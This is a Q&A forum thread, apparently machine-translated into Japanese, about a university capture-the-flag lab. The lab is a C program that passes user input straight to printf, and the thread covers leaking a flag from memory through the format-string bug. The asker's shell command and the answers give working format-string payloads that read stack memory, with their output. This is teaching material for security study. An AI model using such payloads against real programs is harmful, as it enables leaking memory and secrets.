2017-08-25 6 views
-2

私はリバースエンジニアリングについてCSCI 4971 courseから学びたいと思っています。私はある特定のラボの質問(fmt_string)に苦しんでいます。フォーマット文字列を悪用したスタックから任意のポインタを読み取る方法は?

私はどこかの旗の店を見つけて印刷することになっています。ここでは、ソースコードがどのように見えるかです:

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <string.h> 

#define LINK "\x1b\x5b" "34m" 
#define RESET "\x1b\x5b" "0m" 


int main() 
{ 
    char buf[256]; 
    char *blah = (char *)0xdeadbeef; 
    char *pointer = flag; 
    char *xblah = (char *)0x1337c0de; 

    printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET 
     "Nobody really cared though until this exploit for ProFTPD was\n" 
     "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n" 
     "\n" 
     "In this challenge you do not need code execution. The flag is\n" 
     "somewhere in memory. There is a pointer to it on the stack. You\n" 
     "must use this pointer to dump the flag...\n" 
     "\n" 
     "You will retrieve it by passing in format string specifiers to\n" 
     "the printf() function\n" 
     "\n" 
     "After class read this article by rebel for fmt string leetness\n" 
     LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n" 
     "\n" 
     "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n" 
     "\n oh, and man printf\n" 
     "\n" 
     "\n" 
     ); 

    while(1) 
    { 
    printf("> "); 
    fgets(buf, sizeof(buf), stdin); 
    printf(buf); 
    } 

} 

これは私が問題に近づい方法です:私は%xを入力すると、スタックに格納されたデータをプリントアウトすることを知っています。だから私がAAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08xを入力すると、私は期待どおりの出力AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141を得る。

最後の4バイト41414141は、最初は4 Asで、4バイトのdeadbeefおよび1337c0deはソースコードでハードコードされたものです。さて、私はフラグがアドレス080c90a0に保存されていることを確信しています。

私はthis bash commandを実行したときしかし、私はフラグを取得することはできません。

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 

私は何を得ることである:

000000.> �� 
      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
.00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                  .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
         .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
           .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
             .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
               .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                 .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                   .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 

私は、なぜ私は、私が間違って何をやっている理解する助けてくださいこの出力を取得し、フラグを取得するにはどうすればよいですか?

+0

このタスクは、1)特定の割り当て順序2)最適化が行われていないと仮定しているので、ナンセンスのように聞こえます。 – Lundin

+0

"コマンド' $ printf ... 'を実行しますか?"それはシェルコマンドですか?それとも、それを入力するという意味ですか? –

+1

@PaulOgilvieシェルコマンドです。 –

答えて

1

あなたのbashのコマンドprintfも、あなたのCプログラムを実行したことはありません。 ./fmt_stringは、組み込みのprintfへのargの一部として二重引用符で囲まれています。私のデスクトップで

、私が手(fmt_stringと呼ばれていないファイルとディレクトリ内):

ので、多分あなたは、あなたが実際に走ったコマンドをコピーしていなかった、あなたが表示され、出力が異なるのです
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 
�� 
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string 


おそらくprintf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_stringを実行した可能性があります。パイプがなければ、それは印刷します

�� 
.00000000.00000000.00000000.00000000.00000000.00000000. 

あなたが印刷している文字列で%の解釈からprintf組み込みを停止するために何もしなかったので。 printf '%s\n' ...を使用するか、echoを使用してください。皮肉なことに、フォーマット文字列の脆弱性をテストしようとする試みは、フォーマット文字列の誤った取り扱いによって打ち負かされました。

printfメタ文字がないため、printfの出力はプログラムでそのまま出力されます。fgets/printfループは、バイナリガベージを持っていても、stdinをstdoutにコピーしているだけです。


限り実際flaggcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | lessでコンパイルし、そしてそれはあなたがしたいのポインタを入れている場所を確認するために、GCCのコメントを見て、スタック上に保存されている場所見つけます。

(私はあなたがそうでなければ、ポインタがスタック上に保存されることはありませんので、-O0でコンパイルされたコードに対してのみ動作利用することを想定しています。)

IDKあなたは-m32を使用しているかどう。そうでない場合は、printfの最初の6つの整数引数が整数レジスタ(x86-64 System V ABI)で渡されるため、最初にそれらを通過させる必要があります。

ABIのドキュメントリンクについては、のタグwikiを参照してください。私はあなたがLinux上でprintf bashコマンドを使用していると仮定しています。

+0

なぜこれがダウン表示されますか?これは、フォーマット文字列をCプログラムにパイプさせる試みが失敗したことによるOP sawの出力を完全に説明しています。 –

3

最初の試行は、ポインタが5番目の位置に格納されていることを示します。

5th %08xは、指示された場所のデータに応じて、適切なフォーマットコードに置き換えてください。文字列にフラグをポイントした場合は、%sが適しています。

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x 

予想される出力:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141 
+0

これを行う簡単な方法を指摘してくれてありがとう! –

関連する問題